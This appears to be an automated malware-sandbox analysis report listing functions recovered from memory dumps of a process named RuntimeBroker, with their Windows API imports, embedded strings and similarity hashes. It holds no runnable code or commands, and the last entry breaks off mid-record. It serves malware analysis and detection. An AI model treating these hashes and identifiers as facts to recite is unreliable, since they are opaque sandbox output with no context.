Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 484dc96796c7386f2066c7fe865107e6f2531369123f99f80eb17fc8021c1821
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 07015E31704A4082EB54DB52F89879963A5F788FC4F848136DE9E87766DF3CC689C741

Function 1D3A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 1D3A36E4
GetCurrentProcess.KERNEL32 ref: 1D3A36F2
VirtualProtectEx.KERNEL32 ref: 1D3A3714
GetCurrentProcess.KERNEL32 ref: 1D3A3732
VirtualProtectEx.KERNEL32 ref: 1D3A3753
TerminateThread.KERNEL32 ref: 1D3A3762

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 33edae7e4393505c590e6bdf894c2b6337bb17a10dfae21a600636dc78c73843
Instruction ID: e2feb809e09b29c2c9c599c0fc038f1fccb3dead1f9e4f2e513eb83f1fe5bc62
Opcode Fuzzy Hash: 33edae7e4393505c590e6bdf894c2b6337bb17a10dfae21a600636dc78c73843
Instruction Fuzzy Hash: B5015E79716B4082EF249B62F85876973A0FB59B86F040527CEAD4B765EF3DC208D702

Function 1D3A8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1D3A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 1D3A90A8
RtlUnwindEx.NTDLL ref: 1D3A90F7

Strings

csm, xrefs: 1D3A908E
f, xrefs: 1D3A9026

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: cf88226c4e0499e864df13b9fa0a288c301b8b6e63eb257c90d52d35e879efeb
Instruction ID: 0cf6c441bcb507085c2aa5c6870229c309413516c91d8a3e9cde28a9a024e7be
Opcode Fuzzy Hash: cf88226c4e0499e864df13b9fa0a288c301b8b6e63eb257c90d52d35e879efeb
Instruction Fuzzy Hash: 7C51043A7116418BC704CF25E848B593766F348BC8F92C625DF5AE7708EB79D981C722

Function 1D3A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 1D3A1A60
StrCmpNIW.SHLWAPI ref: 1D3A1A7A
lstrlenW.KERNEL32 ref: 1D3A1A89
StrCpyW.SHLWAPI ref: 1D3A1A9E

Strings

\\?\, xrefs: 1D3A1A6E

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 37adce33d8e6f50e684416bddda726e207089bdde1b188fbd9f4c7b8f7ba02ad
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: F1F0F67270468182EB208F21F8C43A96721F748BC8F808132CA4D8B925DF3CC38DCB01

Function 1D3A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 1D3A3066
StrCpyW.SHLWAPI ref: 1D3A3076
StrCatW.SHLWAPI ref: 1D3A3082
PathCombineW.SHLWAPI ref: 1D3A3090

Strings

\\.\pipe\, xrefs: 1D3A305C

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 408db7c7fb2680b180123b6f9d726a4bdb46127d0901f2586202b670a8443c56
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 0AF08C30704B9482EA008F53B9083996260FB48FC0F088132EE6A4BB29DF3CC245C702

Function 1D3ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 1D3ABCBD
GetProcAddress.KERNEL32 ref: 1D3ABCD3
FreeLibrary.KERNEL32 ref: 1D3ABCFA

Strings

mscoree.dll, xrefs: 1D3ABCB4
CorExitProcess, xrefs: 1D3ABCCC

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 95c54818ea39ae4ab476006ce308989d1f654d2f667890579c20066112978b6c
Instruction ID: aae37fff260d664bbb096eea7a9352280e939574b10c0ec4c495d8e23cdf9850
Opcode Fuzzy Hash: 95c54818ea39ae4ab476006ce308989d1f654d2f667890579c20066112978b6c
Instruction Fuzzy Hash: DDF0B471315B0481EF048F29E8453A96320FB89BA1F51071BCA7A4A2F5CF3CC249D301

Function 1D3A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 1D3A5726

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: 4757d4e467be2ccd6e997b184de9ec4b132a405e657f5581cef215fe76011c64
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 8251FA36629B84C6D750CF16E48031AB7A4F3C8B84F50521AEB8E97BA8DB7CD554CF02

Function 1D3B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 1D3B412C
_set_statfp.LIBCMT ref: 1D3B4147
_set_statfp.LIBCMT ref: 1D3B4163
_set_statfp.LIBCMT ref: 1D3B419F

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4815ea08f88f570b1fb56e90dc450480c0b26ac2867209ba9c169e60c61bc152
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 1501C436E24F9121E7140568E96236513056BA83FCF05A734EB7B47FE5DB28C541C22B

Function 1C763504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 1C76352C
_set_statfp.LIBCMT ref: 1C763547
_set_statfp.LIBCMT ref: 1C763563
_set_statfp.LIBCMT ref: 1C76359F

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 651135d2932d097da274407b3569c8b5f59189dc84a1d2d45c5c6670c87c708e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4101AD36E54EB211FA440538E4553791191AF49BB8F948B39AE770BFEBDAF8C445C230

Function 1C75F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 1C75F124

Strings

Tuesday, xrefs: 1C75F0F4
or copy constructor iterator', xrefs: 1C75F25A, 1C75F275
Wednesday, xrefs: 1C75F1ED

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: ca4e0e8011430c255ebcdbec1a81d36065270ef6e4457490952711e10a3d192d
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3951377AA0574482FB05CF75E94876E6B61F7857C0F518A29CA0A17B68DBF4D046C730

Function 1D3AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 1D3AAA68
_CallSETranslator.LIBVCRUNTIME ref: 1D3AAAB7

Strings

MOC, xrefs: 1D3AAA7C
RCC, xrefs: 1D3AAA85

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: afa423ce38c0d5e6a55dfbc7a81328fa63e7332d8ee03f3f3ca57a2373e92492
Instruction ID: 00716970c42b448f593db5084bcf0e23da25bb6512dfe0d3437e673b99890071
Opcode Fuzzy Hash: afa423ce38c0d5e6a55dfbc7a81328fa63e7332d8ee03f3f3ca57a2373e92492
Instruction Fuzzy Hash: A8517D37B04B848AEB10CF65D4803AE77A0F748B8CF158216DF4997B68DB78D196C701

Function 1D3AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1D3AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 1D3AAE88

Strings

csm, xrefs: 1D3AADC2
csm, xrefs: 1D3AAEDA

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 34a4e6b1be5497684b9b622bc16f9f37b25285b02bfae144dbd62647ea5ed89c
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: ED51A177704781CACB248F22D99036E77A0F355B95F188216DB9DC7B64CB38D4A2CB02

Function 1C75A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1C75A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 1C75A288

Strings

csm, xrefs: 1C75A2DA
csm, xrefs: 1C75A1C2

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 33923cf78182b675de8984af35e16fde6429448b24b75864643ba90174f24e0e
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6D51E6325053C1CBDB209F22E54536C7B60F395BE8F148236DB9987B95CBB8D091CB20

Function 1C758405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1C758413
_IsNonwritableInCurrentImage.LIBCMT ref: 1C7584A8

Strings

f, xrefs: 1C758426
csm, xrefs: 1C75848E

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: bc6ec958b503c6afe8a8d329882ef42b5bce2ae7c9faf6c7bb5815fa35b1929f
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2051A932B926408BDB05CF26E444B493765F344BDCF628225DE6B4770DEBB4E981CB64

Function 1C7583E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 1C758413
_IsNonwritableInCurrentImage.LIBCMT ref: 1C7584A8

Strings

f, xrefs: 1C758426
csm, xrefs: 1C75848E

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: d340d7e11f33e87bc366aaa7f03dee142505890eee226eb087e0eb0f6e55f03b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 0D31AD76642B90D7EB04CF22E844B497B64F740BD8F558114EEAB07B48DBB8D941CB24

Function 1D3B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 1D3B20D7
WriteFile.KERNEL32 ref: 1D3B239F
WriteFile.KERNEL32 ref: 1D3B23E5
GetLastError.KERNEL32 ref: 1D3B249B

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: d9b1ad1a373a674d1985cb33d71231f2b71aece2c14fe5b700ae80922c385091
Instruction ID: 1cbc473cfea2b7900a6034ee9f1db63a0b1fd75d1fd1abd8d248389d063bb631
Opcode Fuzzy Hash: d9b1ad1a373a674d1985cb33d71231f2b71aece2c14fe5b700ae80922c385091
Instruction Fuzzy Hash: 44C1EF76B14A808AE711CFB9D4802AC3BB5F355BE8B018326CF5E9BF99DA34C106C341

Function 1D3B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 1D3B2A9C
GetLastError.KERNEL32 ref: 1D3B2B27

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: c5ecde4312ccfa2e1ed1a2c608d038f857b097ec6549ceb78086129b2e572a94
Instruction ID: 9eb3b94f1071512b1c172453bf8cfcf09d783c583b2af8e16353f6b7b6302a95
Opcode Fuzzy Hash: c5ecde4312ccfa2e1ed1a2c608d038f857b097ec6549ceb78086129b2e572a94
Instruction Fuzzy Hash: 5481D07AB14A9099E711CF6594D17AD3BA4F744B88F14830ACF4E67E64DF74C482CB02

Function 1D3A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 1D3A798C
GetCurrentThreadId.KERNEL32 ref: 1D3A799A
GetCurrentProcessId.KERNEL32 ref: 1D3A79A6
QueryPerformanceCounter.KERNEL32 ref: 1D3A79B6

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 2115b86dace8e09a6adbacdc8f03e397baec3ce4cf7ccb8518795f0ee91c8b1d
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: FA113932710F018AEB40CF60E8553E833A4F719768F441E27EA6D867A5DF78C2A8D381

Function 1D3A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 1D3A2620
StrCpyW.SHLWAPI ref: 1D3A2639

Strings

\\.\pipe\, xrefs: 1D3A262B

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 41f2590248caa42fa42cbc4740ff50b79ee080d5b4a351d521f36d41c2820f1b
Instruction ID: a8cf3a8b390a43e5ef9a79bc417d92ec08995a3067aee01b3b63b50c28c61e8e
Opcode Fuzzy Hash: 41f2590248caa42fa42cbc4740ff50b79ee080d5b4a351d521f36d41c2820f1b
Instruction Fuzzy Hash: 9B61C23E704BA186C725CF26EC803BA6764F389B84F415226DE4AD7B19DE76C345CB02

Function 1C759E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 1C759EB7

Strings

RCC, xrefs: 1C759E85
MOC, xrefs: 1C759E7C

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 41749da533768d388f27e21c36c9211ab5564e5a197830f067bed4e7af261d8f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 25519837A05B848AEB10CF65E4803AD7BA4F349B9CF144616EF4917B58DBB8D196C710

Function 1D3A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 1D3A2416
StrCpyW.SHLWAPI ref: 1D3A242D

Strings

\\.\pipe\, xrefs: 1D3A2421

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 002250ee4f7fb53d82cbff54f4c55d9c13c210cbd3ade0a461cf797918ee8e55
Instruction ID: 835b28dbcccbd137fac83439b3541b5dad881a797b19c5dd616306c5e00b0f38
Opcode Fuzzy Hash: 002250ee4f7fb53d82cbff54f4c55d9c13c210cbd3ade0a461cf797918ee8e55
Instruction Fuzzy Hash: FE41E73AB0879281D625DF26A5D43BAA755F3C6B84F416236CE5E83B18DE3DC105C742

Function 1D3B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 1D3B2807
GetLastError.KERNEL32 ref: 1D3B2829

Strings

U, xrefs: 1D3B27B3

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 94e3e9b2e49fb54f8b51ea0afa049cb5a9b4caf00c445db25a5723c425a58a56
Instruction ID: 3e3b300956cf3fc78264ca1670c9619b6922b9304f10d24208a8631247addffc
Opcode Fuzzy Hash: 94e3e9b2e49fb54f8b51ea0afa049cb5a9b4caf00c445db25a5723c425a58a56
Instruction Fuzzy Hash: 3C31D676729B8486DB10CF25E8813AAB7A0F788B94F514222EE4D87B58EF3CC141C751

Function 1D3A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 1D3A94F0
RaiseException.KERNEL32 ref: 1D3A9531

Strings

csm, xrefs: 1D3A951E

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 45eb6caf2f4f142eec34bae033cfec3525d41760d9695591772c7ea62d57da26
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 32111836218B8082DB118F25F44039AB7A5FB88B94F594225EF8D5BB29DF3CC551CB00

Function 1C757356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 1C75737C

Strings

ierarchy Descriptor', xrefs: 1C757381
riptor at (, xrefs: 1C757364

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 2abf43c2816f6b575bbc67aef8a1be45f627a1ee29dfa156c3ff13a5d678b4bb
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 70E08661690B4491EF058F71E8403D833A0DB58B64F489122895C06350FA78D1E9C700

Function 1C7573B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 1C7573D8

Strings

Locator', xrefs: 1C7573DD
riptor at (, xrefs: 1C7573C0

Memory Dump Source

Source File: 0000000A.00000002.3097489255.000000001C750000.00000040.00000400.00020000.00000000.sdmp, Offset: 1C750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1c750000_RuntimeBroker.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: aef68540e1550f7d96b65cfad25407fb3ece742f5413ef82e5a1869842773b88
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 38E08CA1A91F4884EF028F71E8803D873A0EB68B64F889122CA4C06350EA78D1E9C300

Function 1D3A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 1D3A1C2D
HeapAlloc.KERNEL32 ref: 1D3A1C3B
GetProcessHeap.KERNEL32 ref: 1D3A1C77
HeapFree.KERNEL32 ref: 1D3A1C85

Part of subcall function 1D3A152C: StrCmpIW.SHLWAPI ref: 1D3A155D

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
